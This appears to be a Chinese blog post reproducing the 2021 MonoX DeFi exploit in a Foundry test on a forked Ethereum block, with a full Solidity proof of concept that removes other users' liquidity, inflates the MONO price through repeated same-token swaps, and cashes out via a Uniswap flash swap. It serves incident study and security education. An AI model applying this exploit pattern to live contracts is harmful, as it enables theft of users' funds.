当前位置: 首页 > news >正文

Defi安全-Monox攻击事件Foundry复现

其它相关内容可见个人主页

Mono攻击事件的介绍见:Defi安全–Monox攻击事件分析–phalcon+etherscan

1. 前情提要和思路介绍

Monox使用单边池模型,创建的是代币-vCash交易对,添加流动性时,只需添加代币,即可进行任意代币的兑换

主要的漏洞有两个方面:

  • 可以在Monox官网查看提供代币流动性的用户地址,但是每个用户的流动性,任意的用户都可以调用移除流动性函数,进行流动性的移除。
  • 在Monoswap的代币交换函数中,并未考虑tokenIn tokenOut相等的情况,代码逻辑处理的时候,出现价格覆盖的情况,Mono代币价格异常抬升,具体可见相关攻击实现的分析。

2. Foundry复现攻击流程

foundry进行外部合约调用的时候,用interface定义相应的方法,并定义对应合约的地址,实现外部合约的调用(觉得比较好的方式)

pragma solidity >=0.7.0 <0.9.0;
import "forge-std/Test.sol";interface IERC20 {function balanceOf(address owner) external view returns (uint256);function approve(address spender, uint256 value) external returns (bool);function transfer(address to, uint256 value) external returns (bool);function deposit() external payable;
}interface IuniswapV2pair {function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
}interface IMonoswap {function removeLiquidity (address _token, uint256 liquidity, address to,uint256 minVcashOut, uint256 minTokenOut) external returns(uint256 vcashOut, uint256 tokenOut);function addLiquidity(address _token, uint256 _amount, address to) external returns (uint256 liquidity);function swapExactTokenForToken(address tokenIn,address tokenOut,uint amountIn,uint amountOutMin,address to,uint deadline) external returns (uint amountOut);function swapTokenForExactToken(address tokenIn,address tokenOut,uint256 amountInMax,uint256 amountOut,address to,uint256 deadline) external returns (uint256 amountIn);function pools(address)externalviewreturns (uint256 pid,uint256 lastPoolValue,address token,uint8 status,uint112 vcashDebt,uint112 vcashCredit,uint112 tokenBalance,uint256 price,uint256 createdAt);
}interface IMonoXPool {function totalSupplyOf(uint256 pid) external returns (uint256);function balanceOf(address account, uint256 id) external returns (uint256);
}address constant uniswapv2pair = 0xB4e16d0168e52d35CaCD2c6185b44281Ec28C9Dc;
address constant weth = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
address constant Monoswap = 0xC36a7887786389405EA8DA0B87602Ae3902B88A1;
address constant MonoXPool = 0x59653E37F8c491C3Be36e5DD4D503Ca32B5ab2f4;
address constant Mono = 0x2920f7d6134f4669343e70122cA9b8f19Ef8fa5D;
address constant usdc = 0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48;address constant liquidity_user1 = 0x7B9aa6ED8B514C86bA819B99897b69b608293fFC;
address constant liquidity_user2 = 0x81D98c8fdA0410ee3e9D7586cB949cD19FA4cf38;
address constant liquidity_user3 = 0xab5167e8cC36A3a91Fd2d75C6147140cd1837355;

攻击代码

调用forge进行测试

 forge test --match-contract test_Monox -vv

结果:

image-20240107221535861

contract test_Monox is Test{function setUp() public {vm.createSelectFork("https://rpc.ankr.com/eth", 13_715_025);}//首先folk以太坊上对应区块的状态function test_Monox_exploit() public {IERC20(Mono).approve(address(Monoswap), type(uint256).max);IERC20(weth).deposit{value: address(this).balance, gas: 40_000}();console.log("WETH balance: ", IERC20(weth).balanceOf(address(this)));IERC20(weth).approve(address(Monoswap), 0.1 ether);//在进行对应的代币转移的时候,一定要记得先进行approve操作IMonoswap(Monoswap).swapExactTokenForToken(weth, Mono, 0.1 ether, 1, address(this), 1638278872);console.log("Mono balance:  ", IERC20(Mono).balanceOf(address(this)));//提取weth,并调用monoswap的函数,将0.1weth换成对应的Mono代币,易进行后续操作remove_liquidity_user();uint liquidity = IMonoswap(Monoswap).addLiquidity(address(Mono), 196975656, address(this));console.log("attacker gain liquidity: ", liquidity);//攻击者自己添加对应的流动性,获得对应LP流动性证明,为后续拉升Mono价格做准备raise_mono_price();swap_mono_for_weth();//将对应高价格的mono代币置换成weth}function remove_liquidity_user() public {(uint pid,,,,,,,,) = IMonoswap(Monoswap).pools(address(Mono));uint balance = IMonoXPool(MonoXPool).totalSupplyOf(pid);console.log("pid:  ", pid);console.log("monoXpool's mono balance: ", balance);uint balance1 = IMonoXPool(MonoXPool).balanceOf(address(liquidity_user1), pid);IMonoswap(Monoswap).removeLiquidity(address(Mono), balance1, address(liquidity_user1), 0, 1);uint balance2 = IMonoXPool(MonoXPool).balanceOf(address(liquidity_user2), pid);IMonoswap(Monoswap).removeLiquidity(address(Mono), balance2, address(liquidity_user2), 0, 1);uint balance3 = IMonoXPool(MonoXPool).balanceOf(address(liquidity_user3), pid);IMonoswap(Monoswap).removeLiquidity(address(Mono), balance3, address(liquidity_user3), 0, 1);//漏洞函数,根据phalcon的调用序列,移除对应用户的流动性uint balance_afterremove = IMonoXPool(MonoXPool).totalSupplyOf(pid);console.log("monoXpool's mono balance after remove liquidity", balance_afterremove);}function raise_mono_price() public {for(uint i = 0 ; i < 55 ; i++){(uint pid ,,,,,,uint tokenBalance,uint price, ) = IMonoswap(Monoswap).pools(address(Mono));uint balance = IERC20(Mono).balanceOf(address(this));IMonoswap(Monoswap).swapExactTokenForToken(address(Mono), address(Mono), tokenBalance ,0, address(this), 1638278872);console.log("Mono token Price - ",i,":  ",  price);}//按照对应的调用序列,得到池子里的Mono余额,并调用对应的漏洞函数,swapEaxctTokenForToken}function swap_mono_for_weth() public {uint weth_balance = IERC20(weth).balanceOf(address(this));console.log("attacker weth balance: ", weth_balance);uint mono_balance = IERC20(Mono).balanceOf(address(this));console.log("attacker mono balance: ", mono_balance);IuniswapV2pair(uniswapv2pair).swap(0, 547_206_697_433_507_365_949, address(this), "0x00");//闪电贷,借贷weth和usdc的pair对uint weth_balance2 = IERC20(weth).balanceOf(address(this));console.log("attacker weth balance: ", weth_balance2 - weth_balance);uint mono_balance2 = IERC20(Mono).balanceOf(address(this));console.log("attacker mono balance: ", mono_balance - mono_balance2);}function uniswapV2Call(address sender, uint256 amount0, uint256 amount1, bytes calldata data) public{uint balance = IERC20(Mono).balanceOf(address(this));IMonoswap(Monoswap).swapTokenForExactToken(address(Mono), address(usdc), balance, 4029106880396, address(this), 1638278872);bool success = IERC20(usdc).transfer(address(uniswapv2pair),3029106880396);require(success);//在回调函数中,调用monoswap对应的函数,将mono换成对应的usdc,实现对应的usdc还款。}function onERC1155Received(address _operator, address _from, uint256 _id, uint256 _value, bytes calldata _data) external returns(bytes4){bytes4 a = bytes4(keccak256("onERC1155Received(address,address,uint256,uint256,bytes)"));// a = 0xf23a6e61return a;}//在添加流动性的时候,会回调对应的函数,否则会报错
}

攻击poc如果没有定义相应的的onERC1155Received,则在流动性生成时会报错,如下图所示:

image-20240107221633674

相关文章:

Defi安全-Monox攻击事件Foundry复现

其它相关内容可见个人主页 Mono攻击事件的介绍见&#xff1a;Defi安全–Monox攻击事件分析–phalconetherscan 1. 前情提要和思路介绍 Monox使用单边池模型&#xff0c;创建的是代币-vCash交易对&#xff0c;添加流动性时&#xff0c;只需添加代币&#xff0c;即可进行任意代…...

大二上总结和寒假计划

&#x1f442; Start Again - Connor Price/Chloe Sagum - 单曲 - 网易云音乐 &#x1f442; 年年 - 徐秉龙 - 单曲 - 网易云音乐 目录 &#x1f33c;前言 &#x1f44a;成长 &#xff08;1&#xff09;情感 &#xff08;2&#xff09;运动 &#xff08;3&#xff09;穿搭…...

使用 pdfh5 实现 pdf 预览功能

1. 安装 npm install pdfh5 2. 使用 html部分&#xff1a; <div id"showPdf" style"width: 100%;"></div> js部分&#xff1a; <script> //合同展示组件 import Pdfh5 from pdfh5 //合同组件样式 import pdfh5/css/pdfh5.css expo…...

HttpRunner辅助函数debugtalk.py

辅助函数debugtalk.py Httprunner框架中&#xff0c;使用yaml或json文件进行用例描述&#xff0c;无法做一些复杂操作&#xff0c;如保存一些数据跨文件调用&#xff0c;或者实现一些复杂逻辑判断等&#xff0c;为了解决这个问题&#xff0c;引入了debugtalk.py辅助函数来进行一…...

PC端扫描小程序二维码登录

1、获取二维码地址&#xff0c;通过请求微信开发者文档中的服务端获取无限制小程序二维码URL #controller层 import org.apache.commons.codec.binary.Base64;/*** 获取小程序二维码*/PassTokenGetMapping("/getQrCode")public AjaxResult getQrCode(BlogUserDto bl…...

计算机毕业设计 | SpringBoot+vue移动端音乐网站 音乐播放器(附源码)

1&#xff0c;项目背景 随着计算机技术的发展&#xff0c;网络技术对我们生活和工作显得越来越重要&#xff0c;特别是现在信息高度发达的今天&#xff0c;人们对最新信息的需求和发布迫切的需要及时性。为了满足不同人们对网络需求&#xff0c;各种特色&#xff0c;各种主题的…...

Flutter 中的 Stream:异步编程的利器

在Flutter中&#xff0c;异步编程是非常重要的一部分&#xff0c;特别是在处理用户输入、网络请求或其他涉及时间的操作时。Flutter提供了一种强大的工具&#xff0c;称为Stream&#xff0c;用于简化异步编程的过程。 什么是 Stream&#xff1f; Stream是一种用于处理异步数据…...

2023 波卡年度报告选读:Polkadot SDK 与开发者社区

原文&#xff1a;https://dashboards.data.paritytech.io/reports/2023/index.html#section6 编译&#xff1a;OneBlock 编者注&#xff1a;Parity 数据团队发布的 2023 年 Polkadot 年度数据报告&#xff0c;对推动生态系统的关键数据进行了深入分析。报告全文较长&#xff…...

深入了解Go语言中的unsafe.Sizeof():探究变量与数据类型的内存占用

当涉及到在 Go 语言中确定变量或数据类型所占用的内存空间大小时&#xff0c;unsafe 包中的 Sizeof() 函数成为了一个强有力的工具。它可以用来获取变量或数据类型所占用的字节数&#xff0c;但需要注意的是&#xff0c;它不考虑内存对齐和填充的情况。因此&#xff0c;在使用 …...

安卓上使用免费的地图OpenStreetMap

前一段使用了微信的地图&#xff0c;非常的好用。但是存在的问题是海外无法使用&#xff0c;出国就不能用了&#xff1b; 其实国内三家&#xff1a;百度&#xff0c;高德&#xff0c;微信都是一样的问题&#xff0c;当涉及到商业使用的时候需要付费&#xff1b; 国外除了谷歌…...

基于Java SSM框架实现时间管理系统项目【项目源码+论文说明】

基于java的SSM框架实现时间管理系统演示 摘要 随着科学技术的飞速发展&#xff0c;各行各业都在努力与现代先进技术接轨&#xff0c;通过科技手段提高自身的优势&#xff1b;对于时间管理系统当然也不能排除在外&#xff0c;随着网络技术的不断成熟&#xff0c;带动了时间管理…...

Mac安装upx及不同os计算md5值

Mac安装upx 最近需要将exe文件打包到pod内部&#xff0c;为了减少包占用磁盘空间&#xff0c;需要借用upx对windows exe文件进行压缩。 1 概念&#xff1a;压缩工具 UPX 全称是 “Ultimate Packer for eXecutables”&#xff0c;是一个免费、开源、编写、可扩展、高性能的可执行…...

Qt/C++编写视频监控系统82-自定义音柱显示

一、前言 通过音柱控件实时展示当前播放的声音产生的振幅的大小&#xff0c;得益于音频播放组件内置了音频振幅的计算&#xff0c;可以动态开启和关闭&#xff0c;开启后会对发送过来的要播放的声音数据&#xff0c;进行运算得到当前这个音频数据的振幅&#xff0c;类似于分贝…...

SpringBoot 如何 配置端口号

结论 server:port: 8088演示 [Ref] 快速构建SpringBoot项目...

跟随chatgpt从零开始安装git(Windows系统)

为什么我们要安装Git&#xff1f;Git有什么用&#xff1f; 1. 版本控制&#xff1a;Git 可以追踪代码的所有变化&#xff0c;记录每个提交的差异&#xff0c;使您能够轻松地回溯到任何历史版本或比较不同版本之间的差异。 2. 分支管理&#xff1a;通过 Git 的分支功能&#xff…...

C++类与对象基础(6)

(注&#xff1a;本篇文章介绍部分内容时&#xff0c;需要用到上盘文章中日期类的代码&#xff0c;文章链接如下&#xff1a;C类与对象基础(5)——日期类的实现-CSDN博客​​​​​​&#xff09; 目录 1. 运算符重载的相关补充&#xff1a; 1.1流运算符重载出现的问题&#x…...

OS_lab——分页机制与内存管理

认真阅读章节资料&#xff0c;掌握什么是分页机制 调试代码&#xff0c;掌握分页机制基本方法与思路 代码pmtest6.asm中&#xff0c;212行~237行&#xff0c;设置断点调试这几个循环&#xff0c;分析究竟在这里做了什么 掌握PDE&#xff0c;PTE的计算方法 动手画一画这个映…...

【面试】Redis基础知识

题目 为什么Redis是单线程却性能很高&#xff1f; Redis是一个高性能的基于内存的键值存储系统。它之所以能够达到高性能&#xff0c;主要有以下几个原因&#xff1a; 基于内存&#xff1a;Redis将数据存储在内存中&#xff0c;而不是硬盘上&#xff0c;这使得数据的读写速度…...

CentOS 9 (stream) 安装 Docker

1. Docker 简介 Docker 是一个开源的容器化平台&#xff0c;可帮助开发者轻松地创建、部署和运行应用程序。Docker 使开发人员能够在一个独立的容器中打包应用程序及其依赖项&#xff0c;这样他们就可以轻松地将应用程序移植到任何其他环境中。 Docker 主要由以下几个组件组成…...

vite中配置服务代理

前言 在vite中配置服务代理和webpack中大差不差,不过有些写法会有些不同 具体配置:配置 Vite {#configuring-vite} | Vite中文网 这里我写了一个demo,如下所示 开启node服务 我用express启动了一个服务,分别暴露两个接口 进行相关配置 在vite.config.ts文件中进行配置 e…...

I-Lang SEO实战部署:用结构化协议让Google的AI爬虫读懂你的网页

前言&#xff1a; 我们用I-Lang的结构化方法论做SEO&#xff0c;一个全新的英文商业站&#xff0c;七天打进Google搜索第一页。这篇文章把具体方法公开。 一、前提&#xff1a;Google的爬虫已经是AI了 2024年之后&#xff0c;Google的搜索排名算法发生了根本性变化。Googlebot…...

边缘计算与 AI 结合:奥尔特云低功耗边缘算力设备

这款高性能边缘智能算力设备&#xff0c;搭载16T算力AI处理器&#xff0c;以高性能、低功耗、易扩展为核心优势&#xff0c;为用户提供一站式智能化解决方案。设备内置人脸、视频结构化等基础算法&#xff0c;可扩展工业、矿山、能源、园区、城管、无人机巡检等行业专用算法包&…...

DALL-E2-pytorch训练日志完全解读指南:如何从loss曲线判断模型健康状态

DALL-E2-pytorch训练日志完全解读指南&#xff1a;如何从loss曲线判断模型健康状态 【免费下载链接】DALLE2-pytorch Implementation of DALL-E 2, OpenAIs updated text-to-image synthesis neural network, in Pytorch 项目地址: https://gitcode.com/gh_mirrors/da/DALLE2…...

立知-lychee-rerank-mm效果展示:汽车配置单与实拍图一致性验证

立知-lychee-rerank-mm效果展示&#xff1a;汽车配置单与实拍图一致性验证 1. 引言&#xff1a;多模态重排序的实用价值 在日常工作和生活中&#xff0c;我们经常遇到这样的场景&#xff1a;看到一份产品配置单&#xff0c;但不确定实际产品是否真的符合描述&#xff1b;或者…...

NaViL-9B效果实测:支持中英文混排表格图像的行列结构识别与内容提取

NaViL-9B效果实测&#xff1a;支持中英文混排表格图像的行列结构识别与内容提取 1. 模型介绍 NaViL-9B是新一代原生多模态大语言模型&#xff0c;专为处理复杂视觉-语言任务设计。与常规视觉模型不同&#xff0c;它不仅能够理解图片内容&#xff0c;还能精准解析表格、文档等…...

BLE5.1 与蓝牙Mesh 在手环数字车钥匙中的角色与体验升级

可穿戴数字车钥匙把传统实体钥匙的能力收敛到手环、手表等贴身设备上&#xff0c;通过近距无线链路与车载控制器或专用通信单元交互&#xff0c;支持解闭锁、启动、迎宾等操作。典型实现会组合 低功耗蓝牙&#xff08;BLE&#xff09; 做常在线链路与距离感知&#xff0c;并以 …...

Apache Tomcat 在 IDEA 中配置完整教程(手把手保姆教程)

目录 文章内容简介 配置前提 IDEA 准备 IDEA 中的配置 文章内容简介 本文详细介绍了在IDEA中配置Apache Tomcat服务器的完整步骤。首先指导用户创建Maven Archetype项目。重点讲解了Tomcat服务器的配置过程&#xff0c;包括设置服务器路径、部署工件、修改HTTP端口等关键操…...

ChatTTS 安装与部署实战:从零搭建到性能调优

最近在做一个语音合成的项目&#xff0c;选型时看中了 ChatTTS&#xff0c;它开源的特性、不错的音质和可控性很吸引人。但在实际动手安装和部署时&#xff0c;发现从个人电脑跑起来到服务器上稳定服务&#xff0c;中间有不少坑。今天就把我这一路从零搭建到性能调优的实战经验…...

超越极限:YOLOv8融合Dynamic Head(统一尺度-空间-任务感知注意力)—— 原理详解、代码实现与性能验证

引言 在目标检测领域,YOLO系列模型凭借其出色的速度与精度平衡,始终占据着举足轻重的地位。YOLOv8作为Ultralytics团队的最新力作,在架构设计、训练策略和部署便捷性上均达到了新的高度。然而,随着应用场景的日益复杂,如何让模型在多尺度变化、空间遮挡、任务干扰等挑战下…...

项目分享|LLM驱动的多市场股票智能分析器

项目分享|LLM驱动的多市场股票智能分析器 引言 在股票投资分析中&#xff0c;实时行情跟踪、多维度数据解析和科学决策判断是核心需求&#xff0c;而个人投资者往往面临数据分散、分析耗时、缺乏专业工具的问题。由ZhuLinsen开源的daily_stock_analysis项目完美解决了这些痛点…...